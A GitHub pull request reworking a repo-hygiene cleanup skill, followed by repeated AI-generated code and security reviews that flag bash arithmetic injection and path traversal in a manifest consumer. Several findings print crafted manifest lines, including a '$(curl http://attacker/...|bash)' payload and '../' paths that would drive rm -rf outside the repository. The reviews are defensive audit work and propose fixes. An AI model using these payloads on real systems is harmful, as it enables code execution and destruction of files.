feat(repo-hygiene): single pruned walk + dry-run manifest + apply summary

[kyle-sexton]

Reworks the clean skill's build/caches enumeration and apply flow as one coherent change, closing four coupled issues.

What changed, per issue

#993 — single pruned walk (perf)

The selective caches/build tiers ran ~10 unpruned full-tree find walks per repo (7 build dir-names + 1 build glob + 1 cache dir-name + 1 cache glob); the ! -path exclusions filtered output but did not -prune, so every walk re-descended .git/, node_modules/, and .venv/. A new shared clean_enumerate runs one pruned walk per tier that prunes those three trees once and -prints all dir-name and file-glob matches, then classifies protections on the result list.

Field measurement (large .NET + node repo, Windows/NTFS): one pruned walk incl. du sizing ~16.7 s vs a 10-walk unpruned dry-run that exceeded 10 min (killed, never finished). Verified locally that the prune excludes a bin/ nested in node_modules/ and an obj/ nested in .venv/.

#995 — dry-run manifest, apply consumes it, resume

• --dry-run writes a session-scoped manifest (<class>\t<bytes>\t<relpath> per eligible target), prints Manifest: <path> and Summary: planned=N bytes=K so the confirmation gate can state reclaimable space.
• --apply --manifest <path> consumes the manifest with a re-stat + re-classify staleness guard (a path that became protected since the dry-run is not removed) instead of re-walking.
• Resume = re-run the identical --apply --manifest <path>; already-removed entries are idempotent no-ops.
• --apply without a manifest builds one then applies it, preserving the standalone CLI contract. --include-caches folds the caches tier into the one build manifest (no clean-caches.sh subprocess).

#1002 — machine-parseable apply summary, fail-closed

Each --apply ends with Summary: removed=N failed=M bytes=K (bytes actually reclaimed) and exits non-zero when failed>0, so a fleet sweep no longer needs per-log grepping. Reuses the existing Summary: k=v + [[ failed -eq 0 ]] || exit 1 convention (git-branch-audit.sh, git-tree-reset-batch.sh).

#999 — drop the dotnet clean driver

clean-build.sh --apply ran dotnet clean <solution> (full MSBuild evaluation, minutes on a large solution) before removing bin//obj/ wholesale anyway; the driver added no removal coverage and re-created obj/ evaluation artifacts. Removed entirely — one walk + rm is strictly faster and equally complete — along with its Planned: dotnet clean … (dry-run) and DRIVER_FAILED: (apply) output markers and the now-stale driver references in the config/ecosystem/README docs.

CLI contract changes (both clean-build.sh and clean-caches.sh)

• New flag --manifest <path>. On --dry-run it writes the manifest to <path> instead of a mktemp default; on --apply it names the manifest to consume (no re-walk).
• New stdout lines on --dry-run: Manifest: <path> and Summary: planned=N bytes=K.
• New stdout line on --apply: Summary: removed=N failed=M bytes=K.
• New exit semantics: --apply now exits 1 when any removal fails (was always 0); 2 usage error and 1 not-a-git-repo are unchanged.
• Removed markers (clean-build.sh only): Planned: dotnet clean … and DRIVER_FAILED: are gone.
• Unchanged: --dry-run default, --apply, --include-caches, the protection classes (secrets / runtime deps / skill data preserved by default), and the Planned remove: / Removed: / Skip (…) line prefixes (the dry-run Planned remove: line now also carries a human size suffix).

Design notes

• Cross-tier nested-target dedup: any eligible path under an eligible ancestor is dropped before sizing/manifesting, so byte totals never double-count and apply never chases an already-removed path (e.g. a *.tsbuildinfo inside a dist/, or a nested obj/ inside bin/). Anchored on / so build never swallows buildstuff.
• Portability: du -sk (POSIX) for sizing; GNU-only find -printf intentionally avoided for BSD/macOS. Scripts stay shell=bash.
• Bytes are block-approximate (du granularity), matching scan.sh's Total reclaimable.

Version

0.4.6 → 0.5.0 (minor: new --manifest/resume surface). Per the official plugin-manifest reference, version is an optional semver string and bumping it is how consumers receive the update: https://code.claude.com/docs/en/plugins-reference (§ plugin.json fields — version: "Semantic version. Setting this pins the plugin to that version string, so users only receive updates when you bump it.").

Tests

Extended clean-caches.test.sh and clean-build.test.sh TDD-style: manifest path + planned summary, exact class<TAB>bytes<TAB>path line format (the manifest is a consumed contract), apply summary + exit 0, resume (removed=0 failed=0, exit 0), nested-dedup single-count, --include-caches folding both classes into one manifest, and a chmod-guarded rm-failure case (failed=1, exit 1) that runs on Linux CI and skips on Cygwin where the FS ignores a write-denied parent. All existing repo-hygiene tests remain green; shellcheck, shfmt, markdownlint, editorconfig, changelog-parity, validate-plugins, and check-skill-portability all pass locally.

Related

• repo-hygiene: no batch mode for caches/build/git tiers — fleet sweep forces hand-rolled orchestration #994 — consumes the dry-run manifest this PR produces (built on top of this batch; not closed here).
• repo-hygiene: scan.sh still runs unpruned per-pattern find walks — migrate onto clean_enumerate #1011 — scan.sh shares the same unpruned-walk pattern; migrating it onto clean_enumerate is deferred to this follow-up (not closed here). scan.sh is outside repo-hygiene: clean-build/clean-caches run ~10 unpruned full-tree find walks per repo — measured 40x overhead #993's named targets.
• fix(repo-hygiene): destructive-guard fail-open on Windows — shell-form hook launch + jq fail-closed degraded mode #1006 — Batch A (destructive-guard fail-open fix), already merged; this branch was rebased onto main after it landed.

Closes #993
Closes #995
Closes #1002
Closes #999

[claude]

Claude finished @kyle-sexton's task in 5m 0s —— View job

---

PR Review

• Gather context and understand PR scope
• Read changed files
• Review clean-common.sh (new shared library — core of this PR)
• Review clean-build.sh and clean-caches.sh (reworked consumers)
• Review test files
• Review supporting files (SKILL.md, action-router.md, plugin.json, CHANGELOG.md)
• Post findings

---

The overall design is solid. The single-pruned-walk architecture, manifest-first flow, nested-path dedup, and batched du are all well-reasoned. The test suite is thorough and follows TDD conventions for the new surface area. Below are the findings, ranked by severity.

---

Security — Medium

clean_apply_manifest reconstructs abs as $root/$rel without validating containment

clean-common.sh line 431

abs="$root/$rel"
[[ -e "$abs" ]] || continue
if ! skip="$(clean_target_eligible "$root" "$abs")"; then

clean_target_eligible checks known protected patterns (.env*, submodules, etc.) but does not verify that abs resolves inside $root. A rel entry containing ../../sensitive_file in the manifest would produce abs pointing outside the repo, and the protection checks would pass (the path wouldn't match any protected class), causing rm -rf on an unintended target.

In the normal agent flow this requires a crafted manifest — the risk surface is the --manifest P flag being passed an attacker-written file, or a TOCTOU write into the mktemp path before apply consumes it. It's defense-in-depth rather than an exploitable remote vector, but the fix is cheap:

# After abs="$root/$rel":
[[ "$abs" == "$root/"* ]] || { printf 'Skip (out-of-root): %s\n' "$rel"; continue; }

Fix this →

---

Correctness — Medium

Staleness guard has no test case

The staleness guard is a first-class design goal (PR description: "a path that became protected since the dry-run is not removed") but neither test file exercises the scenario where a path becomes protected between dry-run and apply. The guard runs in clean_apply_manifest by re-calling clean_target_eligible, so the code path exists — but an integration test that:

1. creates a build dir
2. runs --dry-run --manifest P (manifest records it)
3. adds a .env file inside the build dir (now protected descendant)
4. runs --apply --manifest P
5. asserts Skip (protected descendant): appears and the dir remains

...would pin the contract and prevent regression if the protection logic is ever restructured. Fix this →

---

Correctness — Low

dotnet clean failure is not counted in failed and does not force a non-zero exit

clean-build.sh lines 98–101

if ! dotnet clean "$DOTNET_SOLUTION" -v q 2>/dev/null; then
  printf 'DRIVER_FAILED: %s\n' "$DOTNET_DRIVER" >&2
fi

A dotnet clean failure emits DRIVER_FAILED: to stderr but doesn't touch CLEAN_FAILED_COUNT. The script can then reach [[ "$CLEAN_FAILED_COUNT" -eq 0 ]] || exit 1 and exit 0 even when the driver failed. For a fleet sweep that parses Summary: removed=N failed=M, this means a dotnet failure would be silently missed unless callers also scrape stderr.

If the intent is that driver failures are advisory (non-fatal), that should be documented in the usage comment. If they should be fatal, the fix is to increment CLEAN_FAILED_COUNT or propagate a separate driver exit code in the summary line.

---

Architecture — Low

Global accumulator variables are not reset between calls

clean-common.sh lines 320–329

CLEAN_CAND_ABS=()
CLEAN_CAND_CLASS=()
CLEAN_PLANNED_COUNT=0
CLEAN_PLANNED_BYTES=0
...

These are initialized at source time and accumulate across every clean_add_candidates / clean_plan call in a process. Both callers source the library once and call the functions once, so there is no current bug. But a future --dry-run followed by an additional clean_plan call in the same process would double-count. The design becomes fragile when clean-common.sh is sourced in any context that calls these functions more than once. A clean_reset_state() helper, or moving initialization to the start of clean_plan, would make this safe to call repeatedly.

---

Architecture — Low

Exact-duplicate paths in CLEAN_CAND_ABS are not deduplicated

clean-common.sh lines 384–398

The nested-path dedup checks a == b/* but not a == b. If the same absolute path appears twice in CLEAN_CAND_ABS (which could happen if a path landed in both CLEAN_CACHE_EXPLICIT and CLEAN_CACHE_FIND_DIR_NAMES), both copies survive dedup, the du -sk result is just overwritten (no double-sizing), but the manifest ends up with two identical lines. clean_apply_manifest handles the second gracefully ([[ -e "$abs" ]] || continue skips already-removed entries), but CLEAN_PLANNED_COUNT would double-count. Low risk today since cleanup-paths.sh has no such overlap, but worth a comment near the loop noting the assumption.

---

Nitpick

--manifest without a value silently uses empty string

clean-build.sh lines 56–59 / clean-caches.sh lines 50–53

--manifest)
  MANIFEST_ARG="${2:-}"
  shift 2
  ;;

If --manifest is the last argument, ${2:-} gives empty string and shift 2 over-shifts without error. The script silently falls back to mktemp instead of erroring. A guard like [[ -n "${2:-}" ]] || { echo "--manifest requires a PATH"; exit 2; } before the assignment would make the failure explicit, consistent with how --apply without an expected argument is caught elsewhere.

---

Summary

The architecture is well-executed — the single-walk engine and manifest-first flow cleanly close the three linked issues, and the test coverage is strong for the happy-path and dedup contracts. The security finding (path containment in clean_apply_manifest) is the only one warranting a fix before merge; the test-coverage gap for the staleness guard is the next most important. The remaining items are minor.

[claude]

Claude finished @kyle-sexton's task in 3m 44s —— View job

---

Security Review — PR #1023

• Read PR diff and changed files
• Audit shell scripts for injection surfaces (command, path)
• Review manifest read/write paths for path traversal
• Check secret/credential handling
• Review exit-code and fail-closed logic for security gaps
• Report findings

---

Two confirmed security issues in the new manifest consume path (clean_apply_manifest). Both require an attacker to control the manifest file's contents, which is plausible whenever --apply --manifest PATH is invoked with a path that isn't the immediately-preceding dry-run output (e.g., a CI artifact, a shared temp directory, or a prompt-injected agent invocation).

---

CRITICAL — Arithmetic injection via manifest bytes field

Confidence: HIGH

clean-common.sh line 442

while IFS=$'\t' read -r class bytes rel; do
    ...
    CLEAN_REMOVED_BYTES=$((CLEAN_REMOVED_BYTES + bytes))   # ← injection

In bash arithmetic expansion, bare variable names are dereferenced and their values are treated as sub-expressions, including command substitution. A manifest line whose second field is $(evil_cmd) (e.g. build\t$(id)\tsome/real/path) will execute evil_cmd at the point the accumulator runs — even though read -r itself doesn't evaluate it.

Concrete exploit: write a manifest file with the line build\t$(curl http://attacker/payload | bash)\tany/existing/build/dir. Run clean-build.sh --apply --manifest <path>. The command executes once per matching line.

The same pattern is mirrored in clean-caches.sh via the shared function. The clean_plan function's accumulator (CLEAN_PLANNED_BYTES=$((CLEAN_PLANNED_BYTES + bytes))) is not vulnerable because there bytes comes from du -sk output, not from a user-supplied file.

Fix: validate that bytes is an integer before the arithmetic:

[[ "$bytes" =~ ^[0-9]+$ ]] || bytes=0
CLEAN_REMOVED_BYTES=$((CLEAN_REMOVED_BYTES + bytes))

---

IMPORTANT — Path traversal via manifest rel field

Confidence: HIGH

clean-common.sh lines 433 and 439

abs="$root/$rel"          # ← rel comes verbatim from the manifest
[[ -e "$abs" ]] || continue
...
rm -rf "$abs" 2>/dev/null # ← kernel resolves '..' before deletion

rel is extracted directly from the third tab-separated field of the manifest. No validation checks whether it contains .. or an absolute /. The kernel resolves .. segments before any syscall, so rm -rf "/repo/dir/../../etc/important" deletes /etc/important.

None of the downstream guards (clean_path_is_protected, clean_path_in_submodule, clean_dir_has_protected_descendant) verify that abs is actually a descendant of $root. clean_path_is_tracked computes ${norm#"$repo_root"/} — if norm doesn't start with $repo_root/ after .. stripping, the prefix removal no-ops, giving git ls-files an absolute path or leading-.. relative path, both of which fail silently. The path is then classified as eligible and removed.

Fix: reject any rel that is absolute or contains a .. component before constructing abs:

while IFS=$'\t' read -r class bytes rel; do
    [[ -n "$rel" ]] || continue
    # Guard: rel must be relative and must not escape root via '..'
    [[ "$rel" == /* || "$rel" == *../* || "$rel" == */.."  || "$rel" == ".." ]] && continue
    [[ "$bytes" =~ ^[0-9]+$ ]] || bytes=0
    abs="$root/$rel"
    ...

---

SUGGESTION — Predictable fallback manifest path (low severity)

Confidence: MEDIUM

clean-common.sh line 458

path="$(mktemp 2>/dev/null)" || path="${TMPDIR:-/tmp}/clean-manifest.$$"

The $$-suffixed fallback is only reached when mktemp fails (rare in practice). On Linux, PIDs are sequential and guessable. A local attacker who pre-creates /tmp/clean-manifest.<pid> as a symlink to a sensitive file could cause clean_manifest_path to truncate that file (: >"$path"). The primary mktemp path is fine; the risk is the fallback only. In a standard single-user dev environment this is low-impact, but in a shared CI runner it is more relevant. A more robust fallback: path="/tmp/clean-manifest.${RANDOM}.$$" or simply abort on mktemp failure.

---

No GitHub Actions workflow files were changed in this PR. No credentials or secrets handling found.

[chatgpt-codex-connector]

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 8c845e5e1d

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

• Open a pull request for review
• Mark a draft as ready
• Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

[claude]

Claude finished @kyle-sexton's task in 1m 58s —— View job

---

PR Review — #1023 (HEAD d8e8c98)

• Gather context and understand PR scope
• Read clean-common.sh (shared library)
• Read clean-build.sh and clean-caches.sh
• Read test files
• Read cleanup-paths.sh and latest commit diff
• Post findings

---

Latest commit (d8e8c98) drops the dotnet clean driver from clean-build.sh, which cleanly resolves the correctness finding from the earlier review (the driver failure was not reflected in CLEAN_FAILED_COUNT). The cleanup of the driver from docs and config (cleanup-paths.sh, ecosystems.md, action-router.md, README.md) is consistent and complete.

The single-pruned-walk engine, nested dedup, manifest-first flow, and batched du are all well-designed. The test suite covers the happy-path and dedup contracts thoroughly. Below is what remains outstanding.

---

Security — Critical (unresolved)

Arithmetic injection via manifest bytes field

clean-common.sh line 442

CLEAN_REMOVED_BYTES=$((CLEAN_REMOVED_BYTES + bytes))

bytes is read verbatim from the manifest's second tab-separated field. In bash arithmetic context, unquoted variable values are expanded as sub-expressions — including command substitution. A manifest line build\t$(id > /tmp/pwned)\tsome/real/path executes the embedded command at the accumulator line. The normal agent flow requires a crafted manifest, but --apply --manifest PATH accepts any caller-supplied path.

Fix — validate before the arithmetic:

[[ "$bytes" =~ ^[0-9]+$ ]] || bytes=0
CLEAN_REMOVED_BYTES=$((CLEAN_REMOVED_BYTES + bytes))

Fix this →

---

Security — High (unresolved)

Path traversal via manifest rel field

clean-common.sh lines 431–439

abs="$root/$rel"
[[ -e "$abs" ]] || continue
...
rm -rf "$abs" 2>/dev/null

rel is extracted directly from the third tab field with no validation. rm -rf "/repo/dir/../../etc/passwd" resolves via the kernel before deletion. None of the downstream guards (clean_path_is_protected, clean_path_in_submodule, clean_dir_has_protected_descendant) verify that abs stays under $root.

Fix — reject traversal and absolute paths before constructing abs:

while IFS=$'\t' read -r class bytes rel; do
  [[ -n "$rel" ]] || continue
  # Reject absolute paths and any ../ component
  [[ "$rel" == /* || "$rel" == *../* || "$rel" == */.."  || "$rel" == ".." ]] && continue
  [[ "$bytes" =~ ^[0-9]+$ ]] || bytes=0
  abs="$root/$rel"
  [[ "$abs" == "$root/"* ]] || continue   # post-join containment guard
  ...

Fix this →

---

Correctness — Medium (unresolved)

Missing readable-manifest check; --apply --manifest on a missing path exits 0

clean-apply_manifest line 447

done <"$manifest"

When $manifest is missing or unreadable the while read loop simply produces zero iterations. The function returns 0, both callers print Summary: removed=0 failed=0 bytes=0 and exit 0 — contradicting the advertised fail-closed contract for automation. A guard before the loop or in the entry scripts makes the failure explicit:

# In clean-build.sh / clean-caches.sh, before clean_apply_manifest:
[[ -f "$MANIFEST_ARG" ]] || { echo "clean-build.sh: manifest not found: $MANIFEST_ARG" >&2; exit 1; }

Fix this →

---

Correctness — Medium (unresolved)

Staleness guard has no test

The design goal that "a path that became protected since the dry-run is not removed" is exercised only by live re-classification in clean_apply_manifest (via clean_target_eligible). There is no test that:

1. Creates a build dir, runs --dry-run --manifest P
2. Drops a .env into that dir
3. Runs --apply --manifest P
4. Asserts Skip (protected descendant): appears and the dir is untouched

Without this, the protection-recheck code path is dark and a future refactor could silently regress it.

Fix this →

---

Architecture — Low (unresolved)

Global accumulators are not reset between calls

clean-common.sh lines 320–329

CLEAN_CAND_ABS, CLEAN_PLANNED_COUNT, etc. are initialized at source time. Both callers source the library once and call functions once, so there is no current bug — but a second clean_plan call in the same process would double-count. A clean_reset_state() helper, or resetting at the top of clean_plan, would future-proof this.

---

Nitpick (unresolved)

--manifest trailing argument silently over-shifts

clean-build.sh line 57 / clean-caches.sh line 51

MANIFEST_ARG="${2:-}"
shift 2

If --manifest is the last argument, $2 is empty and shift 2 silently over-shifts. A guard before the assignment clarifies the error early.

---

Summary

The architecture is sound, the single-walk engine solves the perf problem convincingly, and d8e8c98 cleanly resolves the dotnet clean correctness gap. The two security items (arithmetic injection, path traversal) should be fixed before merge — they are exploitable via a crafted --manifest file and the fix is mechanical. The missing-manifest fail-open and the staleness-guard test are the next most important items. The architecture and nitpick items are optional but worth noting.

[claude]

Claude finished @kyle-sexton's task in 3m 6s —— View job

---

Security Review — PR #1023 (HEAD: d8e8c98)

• Gather context and understand PR scope
• Read clean-common.sh for manifest handling vulnerabilities
• Read clean-build.sh and latest commit (dotnet driver drop)
• Verify whether prior security findings from earlier reviews were addressed
• Post findings

---

The latest commit (d8e8c98, drop dotnet clean driver) introduces no new security issues and in fact reduces attack surface by eliminating a subprocess invocation. However, the two CRITICAL findings from the earlier security review remain unaddressed in the current HEAD. All findings below apply to d8e8c98.

---

CRITICAL — Bash arithmetic injection via manifest bytes field

Confidence: HIGH

clean-common.sh line 442

while IFS=$'\t' read -r class bytes rel; do
    ...
    CLEAN_REMOVED_BYTES=$((CLEAN_REMOVED_BYTES + bytes))   # ← bytes is unsanitised manifest input

bytes is read verbatim from the manifest file's second tab-separated field. In bash, arithmetic expansion ($((...))) evaluates its operands as expressions before computing — bare variable names are further dereferenced, and the string a[$(id)] or a[0$(curl http://attacker/x|bash)] is evaluated as a sub-expression at expansion time, even though read -r did not evaluate it. A manifest whose second field is a[$(evil_cmd)] causes arbitrary code execution at the CLEAN_REMOVED_BYTES=$((...)) line, before the path is even reached.

This is exploitable whenever --apply --manifest PATH is invoked against a manifest the caller didn't produce in the same session (e.g., a CI artifact from an untrusted PR, a file from a shared /tmp, or a prompt-injected agent supplying a crafted PATH).

Fix — validate bytes is a non-negative integer before the arithmetic, rejecting the line otherwise:

while IFS=$'\t' read -r class bytes rel; do
    [[ -n "$rel" ]] || continue
    [[ "$bytes" =~ ^[0-9]+$ ]] || bytes=0
    abs="$root/$rel"
    ...
    CLEAN_REMOVED_BYTES=$((CLEAN_REMOVED_BYTES + bytes))

Fix this →

---

CRITICAL — Path traversal via manifest rel field → arbitrary rm -rf

Confidence: HIGH

clean-common.sh lines 433–439

abs="$root/$rel"          # rel comes verbatim from the manifest — no validation
[[ -e "$abs" ]] || continue
if ! skip="$(clean_target_eligible "$root" "$abs")"; then ...
...
rm -rf "$abs" 2>/dev/null

rel is the third tab-separated field read directly from the manifest with no sanitisation. The kernel resolves .. before any syscall, so a manifest entry whose rel is ../../../../tmp/target causes rm -rf on an absolute path outside the repository. None of the downstream guards catch this: clean_path_is_protected strips $repo_root/ from norm as a prefix — when norm doesn't start with $repo_root/ after kernel resolution, the prefix strip is a no-op and git ls-files receives a non-relative argument, which fails silently and returns "not tracked" → the path passes as eligible. All protection and submodule checks then pass, and rm -rf "$abs" executes on the out-of-repo target.

Concrete exploit: a manifest containing build\t1\t../../../home/user/important_dir deletes $root/../../../home/user/important_dir without triggering any protection gate.

Fix — reject any rel that is absolute or contains a .. component, then assert containment after constructing abs:

while IFS=$'\t' read -r class bytes rel; do
    [[ -n "$rel" ]] || continue
    [[ "$bytes" =~ ^[0-9]+$ ]] || bytes=0
    # Reject absolute paths and any traversal sequence
    [[ "$rel" == /* || "$rel" == *../* || "$rel" == */.."  || "$rel" == ".." ]] && continue
    abs="$root/$rel"
    # Belt-and-suspenders: confirm resolved path stays under root
    [[ "$abs" == "$root/"* ]] || continue
    ...

Fix this →

---

IMPORTANT — Missing manifest read fail-closed: absent file exits 0

Confidence: HIGH

clean-common.sh line 447

  done <"$manifest"   # ← no guard if manifest file does not exist
}

The callers (clean-build.sh, clean-caches.sh) use set -uo pipefail but not set -e. If the manifest file is absent when --apply --manifest P is invoked, the <"$manifest" redirection fails (bash prints to stderr but does not abort without errexit), the while read loop body never executes, CLEAN_FAILED_COUNT stays 0, and the callers print Summary: removed=0 failed=0 bytes=0 then exit 0. A fleet sweep that treats exit-0 as "clean succeeded" gets a false-positive signal — the cleanup silently did nothing.

Fix — validate readability before entering the loop:

clean_apply_manifest() {
  local root="$1" manifest="$2"
  if [[ ! -f "$manifest" || ! -r "$manifest" ]]; then
    printf 'clean_apply_manifest: manifest not readable: %s\n' "$manifest" >&2
    CLEAN_FAILED_COUNT=$((CLEAN_FAILED_COUNT + 1))
    return 1
  fi
  ...

Fix this →

---

SUGGESTION — PID-based fallback manifest path is guessable (shared CI runners)

Confidence: MEDIUM

clean-common.sh line 458

path="$(mktemp 2>/dev/null)" || path="${TMPDIR:-/tmp}/clean-manifest.$$"

The fallback (reached when mktemp fails) uses $$ (the process ID), which is sequential and predictable on Linux. On a shared CI runner a co-tenant could pre-create /tmp/clean-manifest.<pid> as a symlink to a file outside the temp directory; the subsequent : >"$path" truncates the symlink target. This requires a co-tenant and a precise PID prediction, so it's low-impact in practice, but the fix is trivial: abort on mktemp failure rather than falling back to a guessable path.

path="$(mktemp 2>/dev/null)" || { printf 'clean_manifest_path: mktemp failed\n' >&2; return 1; }

---

Summary

The two CRITICAL findings (bytes arithmetic injection, rel path traversal) remain unaddressed in the current HEAD and require a fix before merge — both give an attacker who controls the manifest file arbitrary code execution or arbitrary filesystem deletion. The IMPORTANT finding (fail-open on missing manifest) is a correctness+safety issue that undermines the failed>0 → exit 1 contract. The SUGGESTION is defense-in-depth. The latest commit (d8e8c98, dotnet driver removal) is clean — no new vulnerabilities, net security improvement.

[chatgpt-codex-connector]

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: d8e8c98d6d

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

• Open a pull request for review
• Mark a draft as ready
• Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

[claude]

Claude finished @kyle-sexton's task in 2m 7s —— View job

---

PR Review — #1023 (HEAD 9a534d2)

• Gather context and understand PR scope
• Read clean-common.sh to verify security findings status
• Check latest commit (9a534d2) for any new issues
• Post findings

---

Latest commit (9a534d2) is a style-only change: it strips (#NNN) issue references and the TODO(#1011) marker from comments in the clean scripts — no behavior change, no logic touched. The commit is clean.

The three security/correctness findings flagged across the prior two reviews remain unaddressed in the current HEAD.

---

Security — Critical (unresolved)

Arithmetic injection via manifest bytes field

clean-common.sh line 439

while IFS=$'\t' read -r class bytes rel; do
    [[ -n "$rel" ]] || continue
    ...
    CLEAN_REMOVED_BYTES=$((CLEAN_REMOVED_BYTES + bytes))  # bytes is raw manifest input

bytes is read verbatim from the manifest's second tab field. Bash arithmetic expansion evaluates operands as expressions before computing, so a manifest line whose bytes field is a[$(evil_cmd)] executes the embedded command when the accumulator runs — even though read -r did not evaluate it. Any caller who invokes --apply --manifest PATH against a file they didn't produce in the same session is exposed.

Fix — validate before the arithmetic:

[[ "$bytes" =~ ^[0-9]+$ ]] || bytes=0
CLEAN_REMOVED_BYTES=$((CLEAN_REMOVED_BYTES + bytes))

Fix this →

---

Security — High (unresolved)

Path traversal via manifest rel field → arbitrary rm -rf

clean-common.sh lines 430–436

abs="$root/$rel"          # rel is verbatim from the manifest — no validation
[[ -e "$abs" ]] || continue
if ! skip="$(clean_target_eligible "$root" "$abs")"; then ...
...
rm -rf "$abs" 2>/dev/null

rel has no validation. The kernel resolves .. before any syscall, so a manifest entry with rel = ../../../../home/user/important_dir causes rm -rf on a path outside the repository. None of the downstream guards (clean_path_is_protected, clean_path_in_submodule, clean_dir_has_protected_descendant) verify that abs is under $root.

Fix — reject traversal components and assert containment after construction:

# After [[ -n "$rel" ]] || continue:
[[ "$rel" == /* || "$rel" == *../* || "$rel" == */.. || "$rel" == ".." ]] && continue
abs="$root/$rel"
[[ "$abs" == "$root/"* ]] || continue   # belt-and-suspenders

Fix this →

---

Correctness — Medium (unresolved)

Missing manifest readability check — --apply --manifest <missing> exits 0

clean-build.sh line 87 / clean-caches.sh (equivalent path)

if [[ "$DRY_RUN" -eq 0 && -n "$MANIFEST_ARG" ]]; then
  clean_apply_manifest "$REPO_ROOT" "$MANIFEST_ARG"   # ← no readability guard
  printf 'Summary: removed=%s failed=%s bytes=%s\n' ...
  [[ "$CLEAN_FAILED_COUNT" -eq 0 ]] || exit 1
  exit 0
fi

When $MANIFEST_ARG names a file that doesn't exist, the <"$manifest" redirection in clean_apply_manifest fails; with set -uo pipefail but not set -e, bash continues, the loop body never executes, and the script prints Summary: removed=0 failed=0 bytes=0 then exits 0. A CI sweep treating exit-0 as success gets a false-positive signal — the cleanup silently did nothing.

Fix — add a readability guard before calling clean_apply_manifest, or inside it:

if [[ "$DRY_RUN" -eq 0 && -n "$MANIFEST_ARG" ]]; then
  [[ -f "$MANIFEST_ARG" ]] || { printf 'manifest not found: %s\n' "$MANIFEST_ARG" >&2; exit 1; }
  clean_apply_manifest "$REPO_ROOT" "$MANIFEST_ARG"
  ...

Fix this →

---

Summary

The architecture remains solid and the latest commit (9a534d2) is a clean style-only change satisfying the repo's comment-hygiene gate. However, the two security issues (arithmetic injection, path traversal) and the fail-open manifest guard are still unresolved and should be fixed before merge. All three are mechanical one-liners at the same location in clean_apply_manifest.

[claude]

Claude finished @kyle-sexton's task in 2m 31s —— View job

---

Security Review — PR #1023 (HEAD: 9a534d2)

• Read PR diff and identify changed files
• Read clean-common.sh — manifest consume path (primary attack surface)
• Read clean-build.sh and clean-caches.sh — entry points and flag parsing
• Verify status of previously-identified findings at current HEAD
• Report findings

---

The latest commit (9a534d2) is a style change only — it strips issue-tracker references and TODO markers from code comments. It makes no changes to clean_apply_manifest or any security-relevant logic. All four findings from the prior security reviews remain unresolved at HEAD.

---

CRITICAL — Bash arithmetic injection via manifest bytes field

Confidence: HIGH

clean-common.sh line 439

while IFS=$'\t' read -r class bytes rel; do
    [[ -n "$rel" ]] || continue
    abs="$root/$rel"
    ...
    CLEAN_REMOVED_BYTES=$((CLEAN_REMOVED_BYTES + bytes))   # ← bytes is unsanitised manifest input

bytes is the second tab-separated field of the manifest, read verbatim from disk. Bash arithmetic expansion ($((...))) evaluates its operands as expressions — specifically, array subscript syntax is recursive. A manifest line with second field a[$(curl http://attacker/x|bash)] causes that command to execute at the accumulator line, before the path is even reached. read -r does not shell-expand the value, but the arithmetic context does.

Exploit path: any caller who passes --apply --manifest PATH with a path the attacker controls. In normal use the agent produces the manifest in the same session, but the flag is public API and accepts any path — including CI artifacts from untrusted branches, /tmp files written by a co-tenant, or a path injected via a crafted agent prompt.

Fix:

[[ "$bytes" =~ ^[0-9]+$ ]] || bytes=0
CLEAN_REMOVED_BYTES=$((CLEAN_REMOVED_BYTES + bytes))

Fix this →

---

CRITICAL — Path traversal via manifest rel field → arbitrary rm -rf

Confidence: HIGH

clean-common.sh lines 430–436

abs="$root/$rel"          # rel is the verbatim third field of the manifest — no validation
[[ -e "$abs" ]] || continue
if ! skip="$(clean_target_eligible "$root" "$abs")"; then ...
...
rm -rf "$abs" 2>/dev/null

rel is extracted verbatim from the manifest's third tab-separated field. The kernel resolves .. before any syscall, so a manifest entry with rel = ../../home/user/important_dir produces abs = "$root/../../home/user/important_dir", which rm -rf deletes outside the repository. None of the protection guards (clean_path_is_protected, clean_path_in_submodule, clean_dir_has_protected_descendant) verify that abs is actually a descendant of $root. clean_path_is_tracked strips $repo_root/ as a prefix — if abs doesn't start with $repo_root/ after kernel resolution, the strip is a no-op and git ls-files receives a non-relative argument that fails silently, classifying the out-of-root path as "not tracked" → eligible → removed.

Fix: reject absolute paths and any .. component before constructing abs, then assert post-join containment:

while IFS=$'\t' read -r class bytes rel; do
  [[ -n "$rel" ]] || continue
  [[ "$bytes" =~ ^[0-9]+$ ]] || bytes=0
  # Reject absolute paths and any traversal component
  [[ "$rel" == /* || "$rel" == *../* || "$rel" == */.. || "$rel" == ".." ]] && continue
  abs="$root/$rel"
  [[ "$abs" == "$root/"* ]] || continue   # belt-and-suspenders containment
  ...

Fix this →

---

IMPORTANT — --apply --manifest MISSING exits 0 (fail-open)

Confidence: HIGH

clean-common.sh line 444 / clean-build.sh line 87 / clean-caches.sh line 75

# clean_apply_manifest — the manifest read:
done <"$manifest"    # ← no guard; failed redirection is not handled

# callers — neither checks clean_apply_manifest's return value:
clean_apply_manifest "$REPO_ROOT" "$MANIFEST_ARG"
printf 'Summary: removed=%s failed=%s bytes=%s\n' \
  "$CLEAN_REMOVED_COUNT" "$CLEAN_FAILED_COUNT" "$CLEAN_REMOVED_BYTES"
[[ "$CLEAN_FAILED_COUNT" -eq 0 ]] || exit 1
exit 0

Both scripts use set -uo pipefail but not set -e. When the manifest file is absent or unreadable, the <"$manifest" redirection fails non-fatally: bash emits an error to stderr and the while read loop body simply never executes. CLEAN_FAILED_COUNT stays 0 and both callers print Summary: removed=0 failed=0 bytes=0 then exit 0. A fleet automation that treats exit-0 as "cleanup succeeded" gets a false-positive signal — the cleanup silently did nothing.

Fix: validate readability in clean_apply_manifest before the loop, and propagate failure:

clean_apply_manifest() {
  local root="$1" manifest="$2"
  if [[ ! -f "$manifest" || ! -r "$manifest" ]]; then
    printf 'clean_apply_manifest: manifest not readable: %s\n' "$manifest" >&2
    CLEAN_FAILED_COUNT=$((CLEAN_FAILED_COUNT + 1))
    return 1
  fi
  ...

Fix this →

---

SUGGESTION — Guessable fallback manifest path on shared runners

Confidence: MEDIUM

clean-common.sh line 455

